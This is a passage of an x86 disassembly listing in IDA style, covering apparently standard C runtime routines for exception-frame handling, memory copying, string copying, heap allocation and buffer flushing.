arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_410866 push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_41AE3E ; RtlUnwind loc_410866: ; DATA XREF: sub_41083D+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41083D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41088F proc near ; CODE XREF: .vty:0041AE81j ; .vty:0041AE9Cj ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push [ebp+var_4] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416964 add esp, 20h mov [ebp+var_8], eax pop edi pop esi pop ebx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41088F endp ; --------------------------------------------------------------------------- loc_4108C5: ; DATA XREF: sub_410B6F+24o push esi cld mov esi, [esp+0Ch] mov ecx, [esi+8] xor ecx, esi call sub_410BCD push 0 push esi push dword ptr [esi+14h] push dword ptr [esi+0Ch] push 0 push dword ptr [esp+24h] push dword ptr [esi+10h] push dword ptr [esp+24h] call sub_416964 add esp, 20h pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108F5 proc near ; CODE XREF: sub_4109CA+81p ; sub_416504+53p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 38h push ebx cmp [ebp+arg_0], 123h jnz short loc_410917 mov eax, offset loc_41099E mov ecx, [ebp+arg_4] mov [ecx], eax xor eax, eax inc eax jmp loc_4109C7 ; --------------------------------------------------------------------------- loc_410917: ; CODE XREF: sub_4108F5+Ej and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4109CA mov eax, dword_4231C4 lea ecx, [ebp+var_28] xor eax, ecx mov [ebp+var_20], eax mov eax, [ebp+arg_10] mov [ebp+var_1C], eax mov eax, [ebp+arg_4] mov [ebp+var_18], eax mov eax, [ebp+arg_14] mov [ebp+var_14], eax mov eax, [ebp+arg_18] mov [ebp+var_10], eax and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_38], 1 mov eax, [ebp+arg_0] mov [ebp+var_34], eax mov eax, [ebp+arg_8] mov [ebp+var_30], eax call sub_411FFD mov eax, [eax+80h] mov [ebp+var_2C], eax lea eax, [ebp+var_34] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call [ebp+var_2C] pop ecx pop ecx and [ebp+var_38], 0 loc_41099E: ; DATA XREF: sub_4108F5+10o cmp [ebp+var_4], 0 jz short loc_4109BB mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4109C4 ; --------------------------------------------------------------------------- loc_4109BB: ; CODE XREF: sub_4108F5+ADj mov eax, [ebp+var_28] mov large fs:0, eax loc_4109C4: ; CODE XREF: sub_4108F5+C4j mov eax, [ebp+var_38] loc_4109C7: ; CODE XREF: sub_4108F5+1Dj pop ebx leave retn sub_4108F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109CA proc near ; DATA XREF: sub_4108F5+26o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx cld mov eax, [ebp+arg_4] mov ecx, [eax+8] xor ecx, [ebp+arg_4] call sub_410BCD mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h jz short loc_4109FA mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_410A64 ; --------------------------------------------------------------------------- jmp short loc_410A64 ; --------------------------------------------------------------------------- loc_4109FA: ; CODE XREF: sub_4109CA+1Dj push 1 mov eax, [ebp+arg_4] push dword ptr [eax+18h] mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+10h] push [ebp+arg_0] call sub_416964 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_410A38 push [ebp+arg_0] push [ebp+arg_4] call sub_41083D loc_410A38: ; CODE XREF: sub_4109CA+61j push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_4] push eax push 123h call sub_4108F5 add esp, 1Ch mov eax, [ebp+var_4] mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp eax ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_410A64: ; CODE XREF: sub_4109CA+2Cj ; sub_4109CA+2Ej pop ebx leave retn sub_4109CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A67 proc near ; CODE XREF: sub_416504+81p ; sub_4165F6+1C6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] mov eax, [edi+10h] mov esi, [edi+0Ch] mov [ebp+var_4], eax mov ebx, esi jmp short loc_410AAB ; --------------------------------------------------------------------------- loc_410A7E: ; CODE XREF: sub_410A67+4Bj cmp esi, 0FFFFFFFFh jnz short loc_410A88 call sub_416A94 loc_410A88: ; CODE XREF: sub_410A67+1Aj mov ecx, [ebp+var_4] dec esi mov eax, esi imul eax, 14h add eax, ecx mov ecx, [ebp+arg_8] cmp [eax+4], ecx jge short loc_410AA0 cmp ecx, [eax+8] jle short loc_410AA5 loc_410AA0: ; CODE XREF: sub_410A67+32j cmp esi, 0FFFFFFFFh jnz short loc_410AAE loc_410AA5: ; CODE XREF: sub_410A67+37j dec [ebp+arg_4] mov ebx, [ebp+arg_0] loc_410AAB: ; CODE XREF: sub_410A67+15j mov [ebp+arg_0], esi loc_410AAE: ; CODE XREF: sub_410A67+3Cj cmp [ebp+arg_4], 0 jge short loc_410A7E mov eax, [ebp+arg_C] inc esi mov [eax], esi mov eax, [ebp+arg_10] mov [eax], ebx cmp ebx, [edi+0Ch] ja short loc_410AC8 cmp esi, ebx jbe short loc_410ACD loc_410AC8: ; CODE XREF: sub_410A67+5Bj call sub_416A94 loc_410ACD: ; CODE XREF: sub_410A67+5Fj mov eax, esi imul eax, 14h add eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_410A67 endp ; =============== S U B R O U T I N E ======================================= sub_410ADA proc near ; CODE XREF: sub_4160EC+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi], eax call sub_411FFD mov eax, [eax+98h] mov [esi+4], eax call sub_411FFD mov [eax+98h], esi mov eax, esi pop esi retn sub_410ADA endp ; =============== S U B R O U T I N E ======================================= sub_410B02 proc near ; CODE XREF: sub_416212+60p arg_0 = dword ptr 4 call sub_411FFD mov eax, [eax+98h] jmp short loc_410B1A ; --------------------------------------------------------------------------- loc_410B0F: ; CODE XREF: sub_410B02+1Aj mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_410B20 mov eax, [eax+4] loc_410B1A: ; CODE XREF: sub_410B02+Bj test eax, eax jnz short loc_410B0F inc eax retn ; --------------------------------------------------------------------------- loc_410B20: ; CODE XREF: sub_410B02+13j xor eax, eax retn sub_410B02 endp ; =============== S U B R O U T I N E ======================================= sub_410B23 proc near ; CODE XREF: sub_416212+9p arg_0 = dword ptr 4 push esi call sub_411FFD mov esi, [esp+4+arg_0] cmp esi, [eax+98h] jnz short loc_410B45 call sub_411FFD mov ecx, [esi+4] mov [eax+98h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_410B45: ; CODE XREF: sub_410B23+10j call sub_411FFD mov eax, [eax+98h] jmp short loc_410B5B ; --------------------------------------------------------------------------- loc_410B52: ; CODE XREF: sub_410B23+3Cj mov ecx, [eax+4] cmp esi, ecx jz short loc_410B67 mov eax, ecx loc_410B5B: ; CODE XREF: sub_410B23+2Dj cmp dword ptr [eax+4], 0 jnz short loc_410B52 pop esi jmp sub_416A94 ; --------------------------------------------------------------------------- loc_410B67: ; CODE XREF: sub_410B23+34j mov ecx, [esi+4] mov [eax+4], ecx pop esi retn sub_410B23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B6F proc near ; CODE XREF: sub_4160EC+7Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h mov eax, dword_4231C4 and [ebp+var_18], 0 lea ecx, [ebp+var_18] xor eax, ecx mov ecx, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_14], offset loc_4108C5 mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_18], eax lea eax, [ebp+var_18] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_416AE0 mov ecx, eax mov eax, [ebp+var_18] mov large fs:0, eax mov eax, ecx leave retn sub_410B6F endp ; =============== S U B R O U T I N E ======================================= sub_410BCD proc near ; CODE XREF: sub_40DBDC+EFp ; .vty:004108D0p ... cmp ecx, dword_4231C4 jnz short loc_410BD7 rep retn ; --------------------------------------------------------------------------- loc_410BD7: ; CODE XREF: sub_410BCD+6j jmp sub_416B2C sub_410BCD endp ; =============== S U B R O U T I N E ======================================= sub_410BDC proc near ; CODE XREF: sub_40D784+7p ; sub_40D7C3+7p arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_4231C4 xor eax, ebp push eax push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_410BDC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410C0F proc near ; CODE XREF: sub_4160A3+7p arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_4231C4 xor eax, ebp push eax mov [ebp-10h], esp push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_410C0F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C50 proc near ; CODE XREF: sub_40D807+4Dp ; sub_416288+CBp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_410C70 cmp edi, eax jb loc_410E14 loc_410C70: ; CODE XREF: sub_410C50+16j cmp ecx, 100h jb short loc_410C97 cmp dword_426008, 0 jz short loc_410C97 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_410C97 pop esi pop edi pop ebp jmp sub_415143 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_410C50+26j ; sub_410C50+2Fj ... test edi, 3 jnz short loc_410CB4 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_410CD4 rep movsd jmp off_410DC4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_410CB4: ; CODE XREF: sub_410C50+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_410CCC and eax, 3 add ecx, eax jmp dword ptr loc_410CD4+4[eax*4] ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_410C50+6Ej jmp dword ptr loc_410DD4[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_410CD4: ; CODE XREF: sub_410C50+58j ; sub_410C50+B6j ... jmp off_410D58[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_410CE5+3 ; --------------------------------------------------------------------------- adc al, 0Dh inc ecx add [eax], bh loc_410CE5: ; DATA XREF: sub_410C50+8Co or eax, 0D1230041h mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_410CD4 rep movsd jmp off_410DC4[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_410CD4 rep movsd jmp off_410DC4[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_410CD4 rep movsd jmp off_410DC4[edx*4] ; --------------------------------------------------------------------------- align 4 off_410D58 dd offset loc_410DBB ; DATA XREF: sub_410C50:loc_410CD4r dd offset loc_410DA8 dd offset loc_410DA0 dd offset loc_410D98 dd offset loc_410D90 dd offset loc_410D88 dd offset loc_410D80 dd offset loc_410D78 ; --------------------------------------------------------------------------- loc_410D78: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_410D80: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_410D88: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_410D90: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_410D98: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_410DA0: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_410DA8: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_410DBB: ; CODE XREF: sub_410C50:loc_410CD4j ; DATA XREF: sub_410C50:off_410D58o jmp off_410DC4[edx*4] ; --------------------------------------------------------------------------- align 4 off_410DC4 dd offset loc_410DD4 ; DATA XREF: sub_410C50+5Cr ; sub_410C50+BAr ... dd offset loc_410DDC dd offset loc_410DE8 dd offset loc_410DFC ; --------------------------------------------------------------------------- loc_410DD4: ; CODE XREF: sub_410C50+5Cj ; sub_410C50+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410DDC: ; CODE XREF: sub_410C50+5Cj ; sub_410C50+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410DE8: ; CODE XREF: sub_410C50+5Cj ; sub_410C50+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410DFC: ; CODE XREF: sub_410C50+5Cj ; sub_410C50+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410E14: ; CODE XREF: sub_410C50+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_410E48 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_410E3C std rep movsd cld jmp off_410F60[edx*4] ; --------------------------------------------------------------------------- align 4 loc_410E3C: ; CODE XREF: sub_410C50+1DDj ; sub_410C50+238j ... neg ecx jmp off_410F10[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_410E48: ; CODE XREF: sub_410C50+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_410E60 and eax, 3 sub ecx, eax jmp dword ptr loc_410E60+4[eax*4] ; --------------------------------------------------------------------------- loc_410E60: ; CODE XREF: sub_410C50+202j ; DATA XREF: sub_410C50+209r jmp off_410F60[ecx*4] ; --------------------------------------------------------------------------- align 4 jz short near ptr loc_410E73+5 inc ecx add [eax-3FFFBEF2h], bl push cs inc ecx loc_410E73: ; CODE XREF: sub_410C50+218j add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_410E3C std rep movsd cld jmp off_410F60[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_410E3C std rep movsd cld jmp off_410F60[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_410E3C std rep movsd cld jmp off_410F60[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_410F14 dd offset loc_410F1C dd offset loc_410F24 dd offset loc_410F2C dd offset loc_410F34 dd offset loc_410F3C dd offset loc_410F44 off_410F10 dd offset loc_410F57 ; DATA XREF: sub_410C50+1EEr ; --------------------------------------------------------------------------- loc_410F14: ; DATA XREF: sub_410C50+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_410F1C: ; DATA XREF: sub_410C50+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_410F24: ; DATA XREF: sub_410C50+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_410F2C: ; DATA XREF: sub_410C50+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_410F34: ; DATA XREF: sub_410C50+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_410F3C: ; DATA XREF: sub_410C50+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_410F44: ; DATA XREF: sub_410C50+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_410F57: ; CODE XREF: sub_410C50+1EEj ; DATA XREF: sub_410C50:off_410F10o jmp off_410F60[edx*4] ; --------------------------------------------------------------------------- align 10h off_410F60 dd offset loc_410F70 ; DATA XREF: sub_410C50+1E3r ; sub_410C50:loc_410E60r ... dd offset loc_410F78 dd offset loc_410F88 dd offset loc_410F9C ; --------------------------------------------------------------------------- loc_410F70: ; CODE XREF: sub_410C50+1E3j ; sub_410C50:loc_410E60j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410F78: ; CODE XREF: sub_410C50+1E3j ; sub_410C50:loc_410E60j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410F88: ; CODE XREF: sub_410C50+1E3j ; sub_410C50:loc_410E60j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410F9C: ; CODE XREF: sub_410C50+1E3j ; sub_410C50:loc_410E60j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_410C50 endp ; =============== S U B R O U T I N E ======================================= sub_410FB5 proc near ; CODE XREF: sub_40D873+31p ; sub_40D8D9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jz short loc_410FCA mov edi, [esp+0Ch+arg_4] cmp edi, ebx ja short loc_410FE5 loc_410FCA: ; CODE XREF: sub_410FB5+Bj ; sub_410FB5+3Aj call sub_40F79E push 16h pop esi mov [eax], esi loc_410FD4: ; CODE XREF: sub_410FB5+5Dj push ebx push ebx push ebx push ebx push ebx call sub_40DCD8 add esp, 14h mov eax, esi jmp short loc_411016 ; --------------------------------------------------------------------------- loc_410FE5: ; CODE XREF: sub_410FB5+13j mov esi, [esp+0Ch+arg_8] cmp esi, ebx jnz short loc_410FF1 mov [ecx], bl jmp short loc_410FCA ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_410FB5+36j mov edx, ecx loc_410FF3: ; CODE XREF: sub_410FB5+49j mov al, [esi] mov [edx], al inc edx inc esi cmp al, bl jz short loc_411000 dec edi jnz short loc_410FF3 loc_411000: ; CODE XREF: sub_410FB5+46j cmp edi, ebx jnz short loc_411014 mov [ecx], bl call sub_40F79E push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_410FD4 ; --------------------------------------------------------------------------- loc_411014: ; CODE XREF: sub_410FB5+4Dj xor eax, eax loc_411016: ; CODE XREF: sub_410FB5+2Ej pop edi pop esi pop ebx retn sub_410FB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41101A proc near ; CODE XREF: sub_411069+59p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_41F948 call __SEH_prolog4 and [ebp+var_1C], 0 mov esi, [ebp+arg_0] cmp esi, dword_424EB4 ja short loc_411057 push 4 call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_4175F3 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411060 loc_411057: ; CODE XREF: sub_41101A+19j mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_41101A endp ; =============== S U B R O U T I N E ======================================= sub_411060 proc near ; CODE XREF: sub_41101A+38p ; DATA XREF: .vty:0041F960o push 4 call sub_416CCE pop ecx retn sub_411060 endp ; =============== S U B R O U T I N E ======================================= sub_411069 proc near ; CODE XREF: sub_40D873+1Fp ; sub_40D8D9+2Ap ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] cmp ebp, 0FFFFFFE0h ja loc_411116 push ebx mov ebx, dword_41C130 push esi push edi loc_411080: ; CODE XREF: sub_411069+94j xor esi, esi cmp dword_42487C, esi mov edi, ebp jnz short loc_4110A4 call sub_4143CC push 1Eh call sub_41422C push 0FFh call sub_4124E3 pop ecx pop ecx loc_4110A4: ; CODE XREF: sub_411069+21j mov eax, dword_424EC4 cmp eax, 1 jnz short loc_4110BC cmp ebp, esi jz short loc_4110B6 mov eax, ebp jmp short loc_4110B9 ; --------------------------------------------------------------------------- loc_4110B6: ; CODE XREF: sub_411069+47j xor eax, eax inc eax loc_4110B9: ; CODE XREF: sub_411069+4Bj push eax jmp short loc_4110DA ; --------------------------------------------------------------------------- loc_4110BC: ; CODE XREF: sub_411069+43j cmp eax, 3 jnz short loc_4110CC push ebp call sub_41101A cmp eax, esi pop ecx jnz short loc_4110E3 loc_4110CC: ; CODE XREF: sub_411069+56j cmp ebp, esi jnz short loc_4110D3 xor edi, edi inc edi loc_4110D3: ; CODE XREF: sub_411069+65j add edi, 0Fh and edi, 0FFFFFFF0h push edi loc_4110DA: ; CODE XREF: sub_411069+51j push esi push dword_42487C call ebx ; RtlAllocateHeap loc_4110E3: ; CODE XREF: sub_411069+61j mov esi, eax test esi, esi jnz short loc_41110F cmp dword_424D0C, eax push 0Ch pop edi jz short loc_411101 push ebp call sub_412B12 test eax, eax pop ecx jnz short loc_411080 jmp short loc_411108 ; --------------------------------------------------------------------------- loc_411101: ; CODE XREF: sub_411069+89j call sub_40F79E mov [eax], edi loc_411108: ; CODE XREF: sub_411069+96j call sub_40F79E mov [eax], edi loc_41110F: ; CODE XREF: sub_411069+7Ej pop edi mov eax, esi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_411116: ; CODE XREF: sub_411069+8j push ebp call sub_412B12 pop ecx call sub_40F79E mov dword ptr [eax], 0Ch xor eax, eax pop ebp retn sub_411069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41112C proc near ; CODE XREF: sub_40D931+Fp sub_40DD8Aj ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041118B SIZE 0000002F BYTES push 0Ch push offset dword_41F968 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz short loc_4111B4 cmp dword_424EC4, 3 jnz short loc_41118B push 4 call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_416E1F pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_41116B push esi push eax call sub_416E4A pop ecx pop ecx loc_41116B: ; CODE XREF: sub_41112C+34j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411182 cmp [ebp+var_1C], 0 jnz short loc_4111B4 push [ebp+arg_0] jmp short loc_41118C sub_41112C endp ; =============== S U B R O U T I N E ======================================= sub_411182 proc near ; CODE XREF: sub_41112C+46p ; DATA XREF: .vty:0041F980o push 4 call sub_416CCE pop ecx retn sub_411182 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41112C loc_41118B: ; CODE XREF: sub_41112C+1Aj push esi loc_41118C: ; CODE XREF: sub_41112C+54j push 0 push dword_42487C call dword_41C12C ; RtlFreeHeap test eax, eax jnz short loc_4111B4 call sub_40F79E mov esi, eax call dword_41C0A4 ; RtlGetLastWin32Error push eax call sub_40F763 mov [esi], eax pop ecx loc_4111B4: ; CODE XREF: sub_41112C+11j ; sub_41112C+4Fj ... call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_41112C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111BA proc near ; CODE XREF: sub_40D9FB+9Fp ; sub_40F60D+A3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_4] push esi call sub_414AB1 mov [ebp+arg_4], eax mov eax, [esi+0Ch] test al, 82h pop ecx jnz short loc_4111EA call sub_40F79E mov dword ptr [eax], 9 loc_4111DE: ; CODE XREF: sub_4111BA+3Fj or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp loc_411317 ; --------------------------------------------------------------------------- loc_4111EA: ; CODE XREF: sub_4111BA+17j test al, 40h jz short loc_4111FB call sub_40F79E mov dword ptr [eax], 22h jmp short loc_4111DE ; --------------------------------------------------------------------------- loc_4111FB: ; CODE XREF: sub_4111BA+32j push ebx xor ebx, ebx test al, 1 jz short loc_411218 test al, 10h mov [esi+4], ebx jz loc_411292 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_411218: ; CODE XREF: sub_4111BA+46j mov eax, [esi+0Ch] and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax mov [esi+4], ebx mov [ebp+var_4], ebx jnz short loc_41125C call sub_413A82 add eax, 20h cmp esi, eax jz short loc_411248 call sub_413A82 add eax, 40h cmp esi, eax jnz short loc_411255 loc_411248: ; CODE XREF: sub_4111BA+80j push [ebp+arg_4] call sub_417AB6 test eax, eax pop ecx jnz short loc_41125C loc_411255: ; CODE XREF: sub_4111BA+8Cj push esi call sub_417A72 pop ecx loc_41125C: ; CODE XREF: sub_4111BA+74j ; sub_4111BA+99j test word ptr [esi+0Ch], 108h push edi jz loc_4112E9 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx cmp edi, ebx mov [esi+4], ecx jle short loc_41129D push edi push eax push [ebp+arg_4] call sub_4149D5 add esp, 0Ch mov 